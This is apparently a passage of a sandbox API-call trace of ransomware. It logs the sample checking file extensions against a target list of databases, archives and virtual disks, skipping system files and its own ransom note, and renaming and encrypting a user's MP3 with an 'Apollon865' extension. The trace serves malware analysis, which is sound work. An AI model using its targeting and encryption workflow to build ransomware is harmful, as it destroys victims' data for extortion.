	[0087.667] lstrlenW (lpString="db") returned 2
	[0087.667] lstrcmpiW (lpString1="p3", lpString2="db") returned 1
	[0087.667] lstrlenW (lpString="db2") returned 3
	[0087.667] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1
	[0087.667] lstrlenW (lpString="db3") returned 3
	[0087.667] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1
	[0087.667] lstrlenW (lpString="dbf") returned 3
	[0087.667] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1
	[0087.667] lstrlenW (lpString="mdf") returned 3
	[0087.667] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1
	[0087.667] lstrlenW (lpString="mdb") returned 3
	[0087.667] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1
	[0087.667] lstrlenW (lpString="sql") returned 3
	[0087.667] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1
	[0087.668] lstrlenW (lpString="sqlite") returned 6
	[0087.668] lstrcmpiW (lpString1="xA.mp3", lpString2="sqlite") returned 1
	[0087.668] lstrlenW (lpString="sqlite3") returned 7
	[0087.668] lstrcmpiW (lpString1="1xA.mp3", lpString2="sqlite3") returned -1
	[0087.668] lstrlenW (lpString="sqlitedb") returned 8
	[0087.668] lstrcmpiW (lpString1="71xA.mp3", lpString2="sqlitedb") returned -1
	[0087.668] lstrlenW (lpString="xml") returned 3
	[0087.668] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1
	[0087.668] lstrlenW (lpString="$er") returned 3
	[0087.668] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1
	[0087.668] lstrlenW (lpString="4dd") returned 3
	[0087.668] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1
	[0087.668] lstrlenW (lpString="4dl") returned 3
	[0087.668] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1
	[0087.668] lstrlenW (lpString="^^^") returned 3
	[0087.668] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1
	[0087.668] lstrlenW (lpString="abs") returned 3
	[0087.668] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1
	[0087.668] lstrlenW (lpString="abx") returned 3
	[0087.668] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1
	[0087.668] lstrlenW (lpString="accdb") returned 5
	[0087.668] lstrcmpiW (lpString1="A.mp3", lpString2="accdb") returned -1
	[0087.668] lstrlenW (lpString="accdc") returned 5
	[0087.668] lstrcmpiW (lpString1="A.mp3", lpString2="accdc") returned -1
	[0087.668] lstrlenW (lpString="accde") returned 5
	[0087.668] lstrcmpiW (lpString1="A.mp3", lpString2="accde") returned -1
	[0087.668] lstrlenW (lpString="accdr") returned 5
	[0087.668] lstrcmpiW (lpString1="A.mp3", lpString2="accdr") returned -1
	[0087.668] lstrlenW (lpString="accdt") returned 5
	[0087.668] lstrcmpiW (lpString1="A.mp3", lpString2="accdt") returned -1
	[0087.668] lstrlenW (lpString="accdw") returned 5
	[0087.668] lstrcmpiW (lpString1="A.mp3", lpString2="accdw") returned -1
	[0087.668] lstrlenW (lpString="accft") returned 5
	[0087.668] lstrcmpiW (lpString1="A.mp3", lpString2="accft") returned -1
	[0087.669] lstrlenW (lpString="adb") returned 3
	[0087.669] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0087.669] lstrlenW (lpString="adb") returned 3
	[0087.669] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0087.669] lstrlenW (lpString="ade") returned 3
	[0087.669] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1
	[0087.669] lstrlenW (lpString="adf") returned 3
	[0087.669] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1
	[0087.669] lstrlenW (lpString="adn") returned 3
	[0087.669] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1
	[0087.669] lstrlenW (lpString="adp") returned 3
	[0087.669] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1
	[0087.669] lstrlenW (lpString="alf") returned 3
	[0087.669] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1
	[0087.669] lstrlenW (lpString="ask") returned 3
	[0087.669] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1
	[0087.669] lstrlenW (lpString="btr") returned 3
	[0087.669] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1
	[0087.669] lstrlenW (lpString="cat") returned 3
	[0087.669] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1
	[0087.669] lstrlenW (lpString="cdb") returned 3
	[0087.669] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1
	[0087.669] lstrlenW (lpString="ckp") returned 3
	[0087.669] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1
	[0087.669] lstrlenW (lpString="cma") returned 3
	[0087.669] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1
	[0087.669] lstrlenW (lpString="cpd") returned 3
	[0087.669] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1
	[0087.669] lstrlenW (lpString="dacpac") returned 6
	[0087.669] lstrcmpiW (lpString1="xA.mp3", lpString2="dacpac") returned 1
	[0087.669] lstrlenW (lpString="dad") returned 3
	[0087.669] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1
	[0087.669] lstrlenW (lpString="dadiagrams") returned 10
	[0087.670] lstrlenW (lpString="daschema") returned 8
	[0087.670] lstrcmpiW (lpString1="71xA.mp3", lpString2="daschema") returned -1
	[0087.670] lstrlenW (lpString="db-journal") returned 10
	[0087.670] lstrlenW (lpString="db-shm") returned 6
	[0087.670] lstrcmpiW (lpString1="xA.mp3", lpString2="db-shm") returned 1
	[0087.670] lstrlenW (lpString="db-wal") returned 6
	[0087.670] lstrcmpiW (lpString1="xA.mp3", lpString2="db-wal") returned 1
	[0087.670] lstrlenW (lpString="dbc") returned 3
	[0087.670] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1
	[0087.670] lstrlenW (lpString="dbs") returned 3
	[0087.670] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1
	[0087.670] lstrlenW (lpString="dbt") returned 3
	[0087.670] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1
	[0087.670] lstrlenW (lpString="dbv") returned 3
	[0087.670] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1
	[0087.670] lstrlenW (lpString="dbx") returned 3
	[0087.670] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1
	[0087.670] lstrlenW (lpString="dcb") returned 3
	[0087.670] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1
	[0087.671] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1
	[0087.671] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1
	[0087.671] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1
	[0087.671] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\H71xA.mp3.Apollon865") returned 56
	[0087.671] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\H71xA.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\h71xa.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\H71xA.mp3.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\h71xa.mp3.apollon865"), dwFlags=0x1) returned 1
	[0087.672] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\H71xA.mp3.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\h71xa.mp3.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.673] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=14269) returned 1
	[0087.673] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.673] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.673] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.673] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.674] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.674] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.674] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3ac0, lpName=0x0) returned 0x15c
	[0087.674] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3ac0) returned 0x100000
	[0087.675] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.676] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.676] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.676] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.676] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.676] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.676] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.676] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.676] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.676] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0087.676] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.676] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0087.676] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.676] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0087.677] CloseHandle (hObject=0x15c) returned 1
	[0087.677] CloseHandle (hObject=0x9c) returned 1
	[0087.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.678] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30304150, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30304150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0087.678] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0087.678] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51c3d90, ftCreationTime.dwHighDateTime=0x1d4d56f, ftLastAccessTime.dwLowDateTime=0xedfbe9e0, ftLastAccessTime.dwHighDateTime=0x1d4d324, ftLastWriteTime.dwLowDateTime=0xedfbe9e0, ftLastWriteTime.dwHighDateTime=0x1d4d324, nFileSizeHigh=0x0, nFileSizeLow=0xd7af, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="r_zrpoqlujHBCG.m4a", cAlternateFileName="R_ZRPO~1.M4A")) returned 1
	[0087.678] lstrcmpiW (lpString1="r_zrpoqlujHBCG.m4a", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.678] lstrcmpiW (lpString1="r_zrpoqlujHBCG.m4a", lpString2="Apollon865.txt.exe") returned 1
	[0087.678] lstrcmpiW (lpString1="r_zrpoqlujHBCG.m4a", lpString2=".") returned 1
	[0087.678] lstrcmpiW (lpString1="r_zrpoqlujHBCG.m4a", lpString2="..") returned 1
	[0087.678] lstrcmpiW (lpString1="r_zrpoqlujHBCG.m4a", lpString2="windows") returned -1
	[0087.678] lstrcmpiW (lpString1="r_zrpoqlujHBCG.m4a", lpString2="bootmgr") returned 1
	[0087.678] lstrcmpiW (lpString1="r_zrpoqlujHBCG.m4a", lpString2="temp") returned -1
	[0087.678] lstrcmpiW (lpString1="r_zrpoqlujHBCG.m4a", lpString2="pagefile.sys") returned 1
	[0087.679] lstrcmpiW (lpString1="r_zrpoqlujHBCG.m4a", lpString2="boot") returned 1
	[0087.679] lstrcmpiW (lpString1="r_zrpoqlujHBCG.m4a", lpString2="ids.txt") returned 1
	[0087.679] lstrcmpiW (lpString1="r_zrpoqlujHBCG.m4a", lpString2="ntuser.dat") returned 1
	[0087.679] lstrcmpiW (lpString1="r_zrpoqlujHBCG.m4a", lpString2="perflogs") returned 1
	[0087.679] lstrcmpiW (lpString1="r_zrpoqlujHBCG.m4a", lpString2="MSBuild") returned 1
	[0087.679] lstrlenW (lpString="r_zrpoqlujHBCG.m4a") returned 18
	[0087.679] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\H71xA.mp3") returned 45
	[0087.679] lstrcpyW (in: lpString1=0x119e650, lpString2="r_zrpoqlujHBCG.m4a" | out: lpString1="r_zrpoqlujHBCG.m4a") returned="r_zrpoqlujHBCG.m4a"
	[0087.679] lstrlenW (lpString="r_zrpoqlujHBCG.m4a") returned 18
	[0087.679] lstrlenW (lpString="Apollon865") returned 10
	[0087.679] lstrcmpiW (lpString1="ujHBCG.m4a", lpString2="Apollon865") returned 1
	[0087.679] lstrlenW (lpString=".dll") returned 4
	[0087.679] lstrcmpiW (lpString1="r_zrpoqlujHBCG.m4a", lpString2=".dll") returned 1
	[0087.679] lstrlenW (lpString=".lnk") returned 4
	[0087.679] lstrcmpiW (lpString1="r_zrpoqlujHBCG.m4a", lpString2=".lnk") returned 1
	[0087.679] lstrlenW (lpString=".ini") returned 4
	[0087.679] lstrcmpiW (lpString1="r_zrpoqlujHBCG.m4a", lpString2=".ini") returned 1
	[0087.679] lstrlenW (lpString=".sys") returned 4
	[0087.679] lstrcmpiW (lpString1="r_zrpoqlujHBCG.m4a", lpString2=".sys") returned 1
	[0087.679] lstrlenW (lpString="r_zrpoqlujHBCG.m4a") returned 18
	[0087.679] lstrlenW (lpString="bak") returned 3
	[0087.679] lstrcmpiW (lpString1="m4a", lpString2="bak") returned 1
	[0087.679] lstrlenW (lpString="ba_") returned 3
	[0087.679] lstrcmpiW (lpString1="m4a", lpString2="ba_") returned 1
	[0087.679] lstrlenW (lpString="dbb") returned 3
	[0087.679] lstrcmpiW (lpString1="m4a", lpString2="dbb") returned 1
	[0087.679] lstrlenW (lpString="vmdk") returned 4
	[0087.679] lstrcmpiW (lpString1=".m4a", lpString2="vmdk") returned -1
	[0087.679] lstrlenW (lpString="rar") returned 3
	[0087.680] lstrcmpiW (lpString1="m4a", lpString2="rar") returned -1
	[0087.680] lstrlenW (lpString="zip") returned 3
	[0087.680] lstrcmpiW (lpString1="m4a", lpString2="zip") returned -1
	[0087.680] lstrlenW (lpString="tgz") returned 3
	[0087.680] lstrcmpiW (lpString1="m4a", lpString2="tgz") returned -1
	[0087.680] lstrlenW (lpString="vbox") returned 4
	[0087.680] lstrcmpiW (lpString1=".m4a", lpString2="vbox") returned -1
	[0087.680] lstrlenW (lpString="vdi") returned 3
	[0087.680] lstrcmpiW (lpString1="m4a", lpString2="vdi") returned -1
	[0087.680] lstrlenW (lpString="vhd") returned 3
	[0087.680] lstrcmpiW (lpString1="m4a", lpString2="vhd") returned -1
	[0087.680] lstrlenW (lpString="vhdx") returned 4
	[0087.680] lstrcmpiW (lpString1=".m4a", lpString2="vhdx") returned -1
	[0087.680] lstrlenW (lpString="avhd") returned 4
	[0087.680] lstrcmpiW (lpString1=".m4a", lpString2="avhd") returned -1
	[0087.680] lstrlenW (lpString="db") returned 2
	[0087.680] lstrcmpiW (lpString1="4a", lpString2="db") returned -1
	[0087.680] lstrlenW (lpString="db2") returned 3
	[0087.680] lstrcmpiW (lpString1="m4a", lpString2="db2") returned 1
	[0087.680] lstrlenW (lpString="db3") returned 3
	[0087.680] lstrcmpiW (lpString1="m4a", lpString2="db3") returned 1
	[0087.680] lstrlenW (lpString="dbf") returned 3
	[0087.680] lstrcmpiW (lpString1="m4a", lpString2="dbf") returned 1
	[0087.680] lstrlenW (lpString="mdf") returned 3
	[0087.680] lstrcmpiW (lpString1="m4a", lpString2="mdf") returned -1
	[0087.680] lstrlenW (lpString="mdb") returned 3
	[0087.680] lstrcmpiW (lpString1="m4a", lpString2="mdb") returned -1
	[0087.680] lstrlenW (lpString="sql") returned 3
	[0087.680] lstrcmpiW (lpString1="m4a", lpString2="sql") returned -1
	[0087.680] lstrlenW (lpString="sqlite") returned 6
	[0087.680] lstrcmpiW (lpString1="CG.m4a", lpString2="sqlite") returned -1
	[0087.680] lstrlenW (lpString="sqlite3") returned 7
	[0087.680] lstrcmpiW (lpString1="BCG.m4a", lpString2="sqlite3") returned -1
	[0087.680] lstrlenW (lpString="sqlitedb") returned 8
	[0087.680] lstrcmpiW (lpString1="HBCG.m4a", lpString2="sqlitedb") returned -1
	[0087.680] lstrlenW (lpString="xml") returned 3
	[0087.681] lstrcmpiW (lpString1="m4a", lpString2="xml") returned -1
	[0087.681] lstrlenW (lpString="$er") returned 3
	[0087.681] lstrcmpiW (lpString1="m4a", lpString2="$er") returned 1
	[0087.681] lstrlenW (lpString="4dd") returned 3
	[0087.681] lstrcmpiW (lpString1="m4a", lpString2="4dd") returned 1
	[0087.681] lstrlenW (lpString="4dl") returned 3
	[0087.681] lstrcmpiW (lpString1="m4a", lpString2="4dl") returned 1
	[0087.681] lstrlenW (lpString="^^^") returned 3
	[0087.681] lstrcmpiW (lpString1="m4a", lpString2="^^^") returned 1
	[0087.681] lstrlenW (lpString="abs") returned 3
	[0087.681] lstrcmpiW (lpString1="m4a", lpString2="abs") returned 1
	[0087.681] lstrlenW (lpString="abx") returned 3
	[0087.681] lstrcmpiW (lpString1="m4a", lpString2="abx") returned 1
	[0087.681] lstrlenW (lpString="accdb") returned 5
	[0087.681] lstrcmpiW (lpString1="G.m4a", lpString2="accdb") returned 1
	[0087.681] lstrlenW (lpString="accdc") returned 5
	[0087.681] lstrcmpiW (lpString1="G.m4a", lpString2="accdc") returned 1
	[0087.681] lstrlenW (lpString="accde") returned 5
	[0087.681] lstrcmpiW (lpString1="G.m4a", lpString2="accde") returned 1
	[0087.681] lstrlenW (lpString="accdr") returned 5
	[0087.681] lstrcmpiW (lpString1="G.m4a", lpString2="accdr") returned 1
	[0087.681] lstrlenW (lpString="accdt") returned 5
	[0087.681] lstrcmpiW (lpString1="G.m4a", lpString2="accdt") returned 1
	[0087.681] lstrlenW (lpString="accdw") returned 5
	[0087.681] lstrcmpiW (lpString1="G.m4a", lpString2="accdw") returned 1
	[0087.681] lstrlenW (lpString="accft") returned 5
	[0087.681] lstrcmpiW (lpString1="G.m4a", lpString2="accft") returned 1
	[0087.681] lstrlenW (lpString="adb") returned 3
	[0087.681] lstrcmpiW (lpString1="m4a", lpString2="adb") returned 1
	[0087.681] lstrlenW (lpString="adb") returned 3
	[0087.681] lstrcmpiW (lpString1="m4a", lpString2="adb") returned 1
	[0087.681] lstrlenW (lpString="ade") returned 3
	[0087.681] lstrcmpiW (lpString1="m4a", lpString2="ade") returned 1
	[0087.681] lstrlenW (lpString="adf") returned 3
	[0087.681] lstrcmpiW (lpString1="m4a", lpString2="adf") returned 1
	[0087.681] lstrlenW (lpString="adn") returned 3
	[0087.681] lstrcmpiW (lpString1="m4a", lpString2="adn") returned 1
	[0087.682] lstrlenW (lpString="adp") returned 3
	[0087.682] lstrcmpiW (lpString1="m4a", lpString2="adp") returned 1
	[0087.682] lstrlenW (lpString="alf") returned 3
	[0087.682] lstrcmpiW (lpString1="m4a", lpString2="alf") returned 1
	[0087.682] lstrlenW (lpString="ask") returned 3
	[0087.682] lstrcmpiW (lpString1="m4a", lpString2="ask") returned 1
	[0087.682] lstrlenW (lpString="btr") returned 3
	[0087.682] lstrcmpiW (lpString1="m4a", lpString2="btr") returned 1
	[0087.682] lstrlenW (lpString="cat") returned 3
	[0087.682] lstrcmpiW (lpString1="m4a", lpString2="cat") returned 1
	[0087.682] lstrlenW (lpString="cdb") returned 3
	[0087.682] lstrcmpiW (lpString1="m4a", lpString2="cdb") returned 1
	[0087.682] lstrlenW (lpString="ckp") returned 3
	[0087.682] lstrcmpiW (lpString1="m4a", lpString2="ckp") returned 1
	[0087.682] lstrlenW (lpString="cma") returned 3
	[0087.682] lstrcmpiW (lpString1="m4a", lpString2="cma") returned 1
	[0087.682] lstrlenW (lpString="cpd") returned 3
	[0087.682] lstrcmpiW (lpString1="m4a", lpString2="cpd") returned 1
	[0087.682] lstrlenW (lpString="dacpac") returned 6
	[0087.682] lstrcmpiW (lpString1="CG.m4a", lpString2="dacpac") returned -1
	[0087.682] lstrlenW (lpString="dad") returned 3
	[0087.682] lstrcmpiW (lpString1="m4a", lpString2="dad") returned 1
	[0087.682] lstrlenW (lpString="dadiagrams") returned 10
	[0087.682] lstrcmpiW (lpString1="ujHBCG.m4a", lpString2="dadiagrams") returned 1
	[0087.682] lstrlenW (lpString="daschema") returned 8
	[0087.682] lstrcmpiW (lpString1="HBCG.m4a", lpString2="daschema") returned 1
	[0087.682] lstrlenW (lpString="db-journal") returned 10
	[0087.682] lstrcmpiW (lpString1="ujHBCG.m4a", lpString2="db-journal") returned 1
	[0087.682] lstrlenW (lpString="db-shm") returned 6
	[0087.682] lstrcmpiW (lpString1="CG.m4a", lpString2="db-shm") returned -1
	[0087.682] lstrlenW (lpString="db-wal") returned 6
	[0087.682] lstrcmpiW (lpString1="CG.m4a", lpString2="db-wal") returned -1
	[0087.682] lstrlenW (lpString="dbc") returned 3
	[0087.682] lstrcmpiW (lpString1="m4a", lpString2="dbc") returned 1
	[0087.682] lstrlenW (lpString="dbs") returned 3
	[0087.683] lstrcmpiW (lpString1="m4a", lpString2="dbs") returned 1
	[0087.683] lstrlenW (lpString="dbt") returned 3
	[0087.683] lstrcmpiW (lpString1="m4a", lpString2="dbt") returned 1
	[0087.683] lstrlenW (lpString="dbv") returned 3
	[0087.683] lstrcmpiW (lpString1="m4a", lpString2="dbv") returned 1
	[0087.683] lstrlenW (lpString="dbx") returned 3
	[0087.683] lstrcmpiW (lpString1="m4a", lpString2="dbx") returned 1
	[0087.683] lstrlenW (lpString="dcb") returned 3
	[0087.683] lstrcmpiW (lpString1="m4a", lpString2="dcb") returned 1
	[0087.683] lstrlenW (lpString="dct") returned 3
	[0087.683] lstrcmpiW (lpString1="m4a", lpString2="dct") returned 1
	[0087.683] lstrlenW (lpString="dcx") returned 3
	[0087.683] lstrcmpiW (lpString1="m4a", lpString2="dcx") returned 1
	[0087.683] lstrlenW (lpString="ddl") returned 3
	[0087.683] lstrcmpiW (lpString1="m4a", lpString2="ddl") returned 1
	[0087.683] lstrlenW (lpString="dlis") returned 4
	[0087.683] lstrcmpiW (lpString1=".m4a", lpString2="dlis") returned -1
	[0087.683] lstrlenW (lpString="dp1") returned 3
	[0087.683] lstrcmpiW (lpString1="m4a", lpString2="dp1") returned 1
	[0087.683] lstrlenW (lpString="dqy") returned 3
	[0087.683] lstrcmpiW (lpString1="m4a", lpString2="dqy") returned 1
	[0087.683] lstrlenW (lpString="dsk") returned 3
	[0087.683] lstrcmpiW (lpString1="m4a", lpString2="dsk") returned 1
	[0087.683] lstrlenW (lpString="dsn") returned 3
	[0087.683] lstrcmpiW (lpString1="m4a", lpString2="dsn") returned 1
	[0087.683] lstrlenW (lpString="dtsx") returned 4
	[0087.683] lstrcmpiW (lpString1=".m4a", lpString2="dtsx") returned -1
	[0087.683] lstrlenW (lpString="dxl") returned 3
	[0087.683] lstrcmpiW (lpString1="m4a", lpString2="dxl") returned 1
	[0087.683] lstrlenW (lpString="eco") returned 3
	[0087.683] lstrcmpiW (lpString1="m4a", lpString2="eco") returned 1
	[0087.683] lstrlenW (lpString="ecx") returned 3
	[0087.683] lstrcmpiW (lpString1="m4a", lpString2="ecx") returned 1
	[0087.683] lstrlenW (lpString="edb") returned 3
	[0087.683] lstrcmpiW (lpString1="m4a", lpString2="edb") returned 1
	[0087.684] lstrlenW (lpString="epim") returned 4
	[0087.684] lstrcmpiW (lpString1=".m4a", lpString2="epim") returned -1
	[0087.684] lstrlenW (lpString="fcd") returned 3
	[0087.684] lstrcmpiW (lpString1="m4a", lpString2="fcd") returned 1
	[0087.684] lstrlenW (lpString="fdb") returned 3
	[0087.684] lstrcmpiW (lpString1="m4a", lpString2="fdb") returned 1
	[0087.684] lstrlenW (lpString="fic") returned 3
	[0087.684] lstrcmpiW (lpString1="m4a", lpString2="fic") returned 1
	[0087.684] lstrlenW (lpString="flexolibrary") returned 12
	[0087.684] lstrcmpiW (lpString1="qlujHBCG.m4a", lpString2="flexolibrary") returned 1
	[0087.684] lstrlenW (lpString="fm5") returned 3
	[0087.684] lstrcmpiW (lpString1="m4a", lpString2="fm5") returned 1
	[0087.684] lstrlenW (lpString="fmp") returned 3
	[0087.684] lstrcmpiW (lpString1="m4a", lpString2="fmp") returned 1
	[0087.684] lstrlenW (lpString="fmp12") returned 5
	[0087.684] lstrcmpiW (lpString1="G.m4a", lpString2="fmp12") returned 1
	[0087.684] lstrlenW (lpString="fmpsl") returned 5
	[0087.684] lstrcmpiW (lpString1="G.m4a", lpString2="fmpsl") returned 1
	[0087.684] lstrlenW (lpString="fol") returned 3
	[0087.684] lstrcmpiW (lpString1="m4a", lpString2="fol") returned 1
	[0087.684] lstrlenW (lpString="fp3") returned 3
	[0087.684] lstrcmpiW (lpString1="m4a", lpString2="fp3") returned 1
	[0087.684] lstrlenW (lpString="fp4") returned 3
	[0087.684] lstrcmpiW (lpString1="m4a", lpString2="fp4") returned 1
	[0087.684] lstrlenW (lpString="fp5") returned 3
	[0087.684] lstrcmpiW (lpString1="m4a", lpString2="fp5") returned 1
	[0087.684] lstrlenW (lpString="fp7") returned 3
	[0087.684] lstrcmpiW (lpString1="m4a", lpString2="fp7") returned 1
	[0087.684] lstrlenW (lpString="fpt") returned 3
	[0087.684] lstrcmpiW (lpString1="m4a", lpString2="fpt") returned 1
	[0087.684] lstrlenW (lpString="frm") returned 3
	[0087.684] lstrcmpiW (lpString1="m4a", lpString2="frm") returned 1
	[0087.684] lstrlenW (lpString="gdb") returned 3
	[0087.684] lstrcmpiW (lpString1="m4a", lpString2="gdb") returned 1
	[0087.684] lstrlenW (lpString="gdb") returned 3
	[0087.685] lstrcmpiW (lpString1="m4a", lpString2="gdb") returned 1
	[0087.685] lstrlenW (lpString="grdb") returned 4
	[0087.685] lstrcmpiW (lpString1=".m4a", lpString2="grdb") returned -1
	[0087.685] lstrlenW (lpString="gwi") returned 3
	[0087.685] lstrcmpiW (lpString1="m4a", lpString2="gwi") returned 1
	[0087.685] lstrlenW (lpString="hdb") returned 3
	[0087.685] lstrcmpiW (lpString1="m4a", lpString2="hdb") returned 1
	[0087.685] lstrlenW (lpString="his") returned 3
	[0087.685] lstrcmpiW (lpString1="m4a", lpString2="his") returned 1
	[0087.685] lstrlenW (lpString="ib") returned 2
	[0087.685] lstrcmpiW (lpString1="4a", lpString2="ib") returned -1
	[0087.685] lstrlenW (lpString="idb") returned 3
	[0087.685] lstrcmpiW (lpString1="m4a", lpString2="idb") returned 1
	[0087.685] lstrlenW (lpString="ihx") returned 3
	[0087.685] lstrcmpiW (lpString1="m4a", lpString2="ihx") returned 1
	[0087.685] lstrlenW (lpString="itdb") returned 4
	[0087.685] lstrcmpiW (lpString1=".m4a", lpString2="itdb") returned -1
	[0087.685] lstrlenW (lpString="itw") returned 3
	[0087.685] lstrcmpiW (lpString1="m4a", lpString2="itw") returned 1
	[0087.685] lstrlenW (lpString="jet") returned 3
	[0087.685] lstrcmpiW (lpString1="m4a", lpString2="jet") returned 1
	[0087.685] lstrlenW (lpString="jtx") returned 3
	[0087.685] lstrcmpiW (lpString1="m4a", lpString2="jtx") returned 1
	[0087.685] lstrlenW (lpString="kdb") returned 3
	[0087.685] lstrcmpiW (lpString1="m4a", lpString2="kdb") returned 1
	[0087.685] lstrlenW (lpString="kexi") returned 4
	[0087.685] lstrcmpiW (lpString1=".m4a", lpString2="kexi") returned -1
